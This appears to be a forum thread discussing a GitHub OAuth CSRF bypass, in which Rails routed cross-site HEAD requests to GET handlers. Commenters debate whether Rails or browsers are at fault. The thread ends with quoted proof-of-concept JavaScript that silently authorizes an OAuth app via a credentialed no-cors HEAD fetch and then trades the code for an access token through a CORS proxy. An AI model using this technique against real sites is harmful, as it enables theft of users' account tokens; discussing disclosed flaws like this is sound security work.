It also reminded me of why "match" was removed in the first place - http://homakov.blogspot.com/2012/04/whitelist-your-routes-ma... - you could route any POST request via GET therefore bypassing CSRF checks still getting inside the controller.
It also reminded me of why "match" was removed in the first place - http://homakov.blogspot.com/2012/04/whitelist-your-routes-ma... - you could route any POST request via GET therefore bypassing CSRF checks still getting inside the controller.
In a rails env the only way to upgrade to non-standard methods (PATCH, PUT etc) were always to supply _method and pass CSRF protection first.
This trick is clearly a bypass because it instructs browser to make a HEAD request, something it never did before. If you try to make other non-standard request you will get this error:
Uncaught (in promise) TypeError: Failed to execute 'fetch' on 'Window': 'PATCH' is unsupported in no-cors mode.
I'm not a fan of the hacks that exist to allow HTML forms to emulate other request methods. They're off by default in ASP.NET Core MVC, which is good IMO.
For this reason browser upgrades must be extremely careful to not break older protections.
That's why you cannot set your own referer (which is supposed to mean nothing), you cannot supply Content-type: application/json unless instructed by CORS preflight, etc etc.
Here, the backwards compatibility was clearly broken. It was never possible to send HEAD few years ago with regular XHR or <img>s. Web standards owe $25k back to github. Yes, github's routing was flawed but it wasn't exploitable until browsers allowed HEAD in fetch() no-cors mode.
It's too late for that though. We've already had e.g. Referrer-Policy come and break existing CSRF protection which treated an empty/missing Referer header as 'safe'. You're right that bad assumptions are going to made all over the place in the real world, but browser vendors shouldn't shoulder all of that responsibility.
You have to draw the line somewhere, right?
Seriously who needs HEAD in their client side development? It's purely a technical method w/o clear use pattern. It's not even valid in <form method=""> so why would it be valid in fetch()? Oh and PATCH/PUT are still invalid in fetch().
We're lucky that this code pattern is only common in Rails. Otherwise it could open a whole class of bugs.
The only reason this bug existed is because Rails treated HEAD as GET in some cases but not others. The sensible behavior here would be, in the Router, if the route didn't explicitly specify :head then it should convert the request to GET before handing it to the route. A route that wants to explicitly support HEAD (e.g. by skipping the response body) should explicitly specify :head on the route.
But the existence of this rails bug says nothing at all about the security of HEAD in general.
It is the main reason, yes, but not the only reason. If it wasn't possible to craft cross-site HEAD (which devs use in real life like.. never?) the bug would stop right there.
With an extra method if-else logic turned faulty. I would argue 90% web devs don't even remember of HEAD and what it means. Reasonably so, because it's rather never used.
IMO order of blame: 1) rails 2) browsers 3) github code relying on .get?
You're still focusing on the wrong thing. HEAD requests are largely obsolete at this point, yes, but that doesn't mean browsers would be right in changing the semantics of a HEAD request. The problem here isn't that browsers use the same security model for HEAD that they do for GET (as that's absolutely correctly) but that Rails decided to only partially support HEAD. Another simple fix for this bug would have been for Rails to simply give no special behavior to HEAD at all, and therefore any route that doesn't explicitly specify :head wouldn't be used for a HEAD request. The fact that Rails decided to deliver HEAD requests to a GET route without changing the request to actually appear as a GET request is a serious design mistake, and not one that browsers are responsible for.
const authUrl = `https://github.com/login/oauth/authorize?
client_id=${CLIENT_ID}&scope=read:user&authorize=1`;
fetch(
authUrl,
{
method: 'HEAD',
credentials: 'include',
mode: 'no-cors'
}
) fetch(
// For the proof-of-concept, use a proxy to get around CORS. This is only necessary because the proof of concept runs
// clientside in a browser; an alternative would be to just send the code to a server and do the request there.
'https://cors-anywhere.herokuapp.com/https://github.com/login/oauth/access_token',
{
method: 'POST',
mode: 'cors',
headers: {
Accept: 'application/json',
'Content-Type': 'application/json'
},
body: JSON.stringify({
client_id: CLIENT_ID,
client_secret: CLIENT_SECRET,
code
})
}
)